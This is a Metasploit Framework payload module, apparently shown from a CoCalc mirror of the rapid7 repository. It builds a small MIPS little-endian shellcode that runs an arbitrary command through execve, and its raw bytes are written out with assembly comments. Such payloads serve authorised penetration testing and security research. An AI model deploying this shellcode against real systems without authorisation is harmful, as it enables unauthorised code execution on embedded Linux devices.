Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/mipsle/exec.rb
19515 views
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
module MetasploitModule
9
CachedSize = 52
10
11
include Msf::Payload::Single
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Linux Execute Command',
18
'Description' => %q{
19
A very small shellcode for executing commands.
20
This module is sometimes helpful for testing purposes as well as
21
on targets with extremely limited buffer space.
22
},
23
'Author' => [
24
'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload
25
'[email protected]' # original payload
26
],
27
'References' => [
28
['EDB', '17940']
29
],
30
'License' => MSF_LICENSE,
31
'Platform' => 'linux',
32
'Arch' => ARCH_MIPSLE,
33
'Payload' => {
34
'Offsets' => {},
35
'Payload' => ''
36
}
37
)
38
)
39
register_options(
40
[
41
OptString.new('CMD', [ true, 'The command string to execute' ]),
42
]
43
)
44
end
45
46
#
47
# Returns the command string to use for execution
48
#
49
def command_string
50
return datastore['CMD'] || ''
51
end
52
53
def generate(_opts = {})
54
shellcode =
55
"\x66\x06\x06\x24" + # li a2,1638
56
"\xff\xff\xd0\x04" + # bltzal a2,4100b4
57
"\xff\xff\x06\x28" + # slti a2,zero,-1
58
"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
59
"\x01\x10\xe4\x27" + # addiu a0,ra,4097
60
"\x1f\xf0\x84\x24" + # addiu a0,a0,-4065
61
"\xe8\xff\xa4\xaf" + # sw a0,-24(sp)
62
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
63
"\xe8\xff\xa5\x27" + # addiu a1,sp,-24
64
"\xab\x0f\x02\x24" + # li v0,4011
65
"\x0c\x01\x01\x01" # syscall 0x40404
66
67
#
68
# Constructs the payload
69
#
70
71
shellcode = shellcode + command_string + "\x00"
72
73
# we need to align our shellcode to 4 bytes
74
shellcode += "\x00" while shellcode.bytesize % 4 != 0
75
76
return super + shellcode
77
end
78
end
79
80